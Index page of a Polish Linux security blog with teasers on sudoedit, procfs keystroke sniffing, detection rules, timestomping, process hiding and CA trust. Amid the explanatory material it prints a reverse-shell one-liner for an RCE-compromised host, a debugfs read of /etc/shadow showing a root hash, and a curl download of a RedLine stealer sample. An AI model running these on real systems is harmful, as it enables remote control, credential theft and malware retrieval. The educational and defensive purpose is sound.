M

atthieu Barjole oraz Victor Cutillas z Synacktiv zgłosili podatność w sudoedit (sudo -e), która pozwala złośliwemu użytkownikowi z uprawnieniami sudoedit na edycję dowolnych plików. Podatność dotyczy wersji sudo od 1.8.0 do 1.9.12p1 włącznie. Wersje sudo sprzed wydania 1.8.0 konstruują wektor argumentów w inny sposób i nie są dotknięte tym błędem. Przypomnijmy, że sudo (su “do”) to najpopularniejszy program w systemach Linux, który pozwala administratorowi systemu delegować uprawnienia wybranym użytkownikom (lub grupom użytkowników) dając im możliwość uruchamiania niektórych (lub wszystkich) poleceń jako administrator (root) lub inny użytkownik, zapewniając jednocześnie ścieżkę audytu poleceń i ich argumentów.
[ czytaj całość… ]

S

ystemy wieloużytkownikowe zaprojektowane są na udostępnianie dużej liczby informacji użytkownikom. Wiele z tych informacji jest “publiczna” i może być współdzielona pomiędzy różnymi użytkownikami. Nigdy nie można lekceważyć wpływu takich informacji na bezpieczeństwo. Poniżej znajduje się prosty skrypt, który umożliwia złośliwemu użytkownikowi podsłuchiwanie naciśnięć klawiszy innych użytkowników przy użyciu takich informacji. Atak wykorzystuje zwykłe nieuprzywilejowane konto i informacje o procesie ujawnione przez wirtualny system plików procfs (ang. process file system) obsługiwany przez m.in. system Linux. Zawiera on hierarchię plików wirtualnych, które opisują aktualny stan jądra, w tym dane statystyczne o pamięci procesów i niektórych ich wartościach rejestrów. Są one używane przez takie programy jak ps i top, aby zbierać i prezentować informacje o systemie oraz pomagać w debugowaniu oprogramowania. Domyślnie wiele z tych plików jest czytelnych dla wszystkich użytkowników systemu, co w naturalny sposób rodzi obawy, czy ich zawartość nie może ujawnić wrażliwych informacji innego użytkownika.
[ czytaj całość… ]

J

akiś czas czemu firma Elastic weszła w rozwiązania typu SIEM (ang. Security Information and Event Management oraz EDR (ang. Endpoint Detection and Response). Jako, że jej rozwiązania od dawna wywodzą się z korzeni open source – firma udostępniła otwarte repozytorium reguł wykrywania różnych ataków i technik. Reguły w tym repozytorium są uporządkowane według rozwiązania lub platformy zachowując spłaszczoną strukturę. Każdy katalog zawiera od kilku do kilkunastu plików .toml, a w nich opisane reguły detekcyjne wraz z referencjami i taktykami ATT&CK. W drugim repozytorium znajdziemy artefakty zawierające logikę ochrony wykorzystywaną do zatrzymywania zagrożeń w systemach operacyjnych Windows, macOS i Linux. Obejmuje to reguły ochrony przed złośliwym oprogramowaniem napisane w EQL (ang. Event Query Language), a także sygnatury YARA stosowane zarówno do zawartości plików, jak i pamięci. Repozytoria te stanowią bardzo dużą bazę wiedzy odnośnie procesu proaktywnej detekcji zagrożeń (ang. threat hunting), którą możemy przełożyć na reguły dedykowane we własnych rozwiązaniach. Jeśli za ich pomocą nauczymy się wykrywania nowych technik i zagrożeń to świetnie! Ale jeszcze lepiej podzielić się także własną logiką wykrywania ze światem i pomóc innym podnieść poprzeczkę we własnych systemach detekcyjnych.

Więcej informacji: Continued leadership in open and transparent security

C

zasami zachodzi potrzeba pobrania próbki złośliwego oprogramowania / phishingu ze złośliwego serwera, ale nazwa domeny nie jest już rozwiązywalna (została usunięta / zablokowana). Niestety cyberprzestępcy nie zawsze są na tyle niezdarni, że udostępniają te same artefakty na czystym adresie IP i polecenie:

curl http://212.45.19.19/redline_stealer.exe

zwraca kod 404, ponieważ serwer taki często obsługuje wiele szkodliwych witryn i reaguje na konkretną nazwę domenową. W takim przypadku posiadając historyczne dane DNS o domenie możemy połączyć się z serwerem za pomocą narzędzia curl na kilka sposobów. Najstarszą metodą, na której kiedyś opierał się system DNS jest edycja pliku hosts (/etc/hosts w systemach Linux i systemach uniksopodobnych). Dodając na przykład wpis:
[ czytaj całość… ]

T

imestomping jest powszechną techniką, która odnosi się do zmiany sygnatur czasowych plików (czasu modyfikacji, dostępu, utworzenia i ostatniej zmiany) na systemie plików. Taktyka ta jest powszechnie wykorzystywana przez cyberprzestępców do ukrywania swoich narzędzi w systemie plików ofiary. Osiąga się to, sprawiając wrażenie, że pliki zostały utworzone poza ramami czasowymi incydentu (znacznie wcześniej niż nastąpiło naruszenie systemu) lub naśladowania plików znajdujących się w tym samym folderze, gdzie nastąpiła infekcja. W ten sposób takie obce pliki będą trudniejsze do znalezienia lub całkowicie pominięte przez śledczych lub przez różne narzędzia do analizy.
[ czytaj całość… ]

P

oniżej zaprezentuje, jak za pomocą polecenia mount ukryć dowolny proces w systemie przed takim poleceniem jak np. ps. Dokonamy tego dzięki funkcji bind. Klasyczne montowanie tworzy widok urządzenia pamięci masowej jako drzewa katalogów. Funkcja bind zamiast tego pobiera istniejące drzewo katalogów i replikuje je w innym punkcie. Montując katalog w ten sposób możemy myśleć o montowaniu jak o aliasie do innej ścieżki. Katalogi i pliki w są takie same jak w oryginale. Każda modyfikacja po jednej stronie jest natychmiast odzwierciedlana po drugiej stronie, ponieważ oba widoki przedstawiają te same dane. Na przykład, kiedy powiążemy katalog /tmp/narf z /tmp/nfsec, oba będą odwoływać się do tych samych danych:
[ czytaj całość… ]

root@darkstar:~# debugfs
debugfs 1.44.1 (24-Mar-2018)
debugfs:  open /dev/vda1
debugfs:  cd /etc
debugfs:  cat shadow
root:$6$HeeGzA.awU7P35OuN6GbBHl7yAwIDmelemelekIiaGLVYA8/hNKI1:19290:0:99999:7:::

Więcej informacji: 0xm1rch

J

ak zauważył Chris Siebenmann prawie każdy system Linux (a tak naprawdę, każdy system Unix) posiada systemowy “schowek” dla głównych certyfikatów CA. Możemy przez to rozumieć katalog, w którym przechowywana jest lista wszystkich certyfikatów CA, które są domyślnie zaufane przez większość oprogramowania wykorzystującego TLS. Z różnych rozsądnych powodów, wiele dystrybucji Linuksa wykorzystuje magazyn CA Mozilli jako swój systemowy czasami wprowadzając pewne zmiany. Na czym polega więc problem? Sednem jest fakt, że Mozilla oraz Microsoft właśnie przestały ufać głównym certyfikatom TrustCor w swoich przeglądarkach. Oznacza to, że certyfikaty wydane od 1 grudnia przez tego CA nie będą zaufane, a główne certyfikaty zostaną usunięte z przeglądarek po wygaśnięciu. O ile zmiana w przeglądarkach zadziała się dość szybko to należy zauważyć, że w systemach takich jak Linux, które bazują na głównym magazynie certyfikatów Mozilli będą w pełni ufać TrustCor przez co najmniej kolejny rok lub dłużej ze względu na opóźnienia w wydaniu i instalacji aktualizacji paczki ca-certificates. Możemy być zdezorientowani dlaczego systemy Linuksowe tak długo będą ufać certyfikatom TrustCor. Mniej istotnym powodem są opóźnienia jakie wynikną z aktualizacji spakowanych kopii magazynu Mozilli (powstała nawet na ten temat praca naukowa pt. Tracing Your Roots: Exploring the TLS Trust Anchor Ecosystem), a później skłonienie użytkownika do zastosowania tej aktualizacji. Dość znamiennym przykładem mogą tutaj być dystrybucje Ubuntu oraz Debian, które same cofnęły usunięcie certyfikatu Symantec z pakietu Mozilli, ponieważ program nuget używał jeszcze certyfikatów, które nie zostały odnowione, więc tymczasowo przywrócono te od Symantec. Ważniejszym problemem może wydawać się ograniczony model tradycyjnego przechowywania certyfikatów CA w systemach *nix.
[ czytaj całość… ]

W

raz z wersją git 2.34.0 każdy nasz commit do kodu lub jego tag będzie mógł zostać podpisany kluczem SSH. Możliwość podpisywania dowolnych danych za pomocą SSH została dodana już w 2019 roku z wydaniem OpenSSH 8.0. Jednak, aby używać tej funkcjonalności bez żadnego problemu najlepiej używać OpenSSH w wersji 8.8. Nasz proces zaczynamy od instalacji i konfiguracji klienta git i SSH:

sudo apt install -y git

Kolejnym krokiem jest wygenerowanie klucza SSH, który będzie używany do podpisywania:

ssh-keygen -t ed25519 -C "agresor@nfsek.pl" -f ~/.ssh/code_commit_signing

Odpowiadamy na pytania i upewniamy się, że wpisaliśmy silne i unikalne hasło do klucza. Klucz ten będzie domyślnie przechowywany w naszym katalogu domowym pod katalogiem .ssh:

agresor@darkstar:~$ cat .ssh/code_commit_signing.pub
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIMzu8wjcnyAorVVtEjddoG2gaYjmRnHiZHvElYFcl/s/ 
agresor@nfsek.pl

[ czytaj całość… ]

Na atakowanej maszynie, na której mamy możliwość RCE (ang. Remote Code Execution) wydajemy polecenie:

mkfifo /tmp/rsh; sh -i 2>&1 < /tmp/rsh | telnet 127.0.0.1 31337 > /tmp/rsh; rm /tmp/rsh

Więcej informacji: Alh4zr3d on Twitter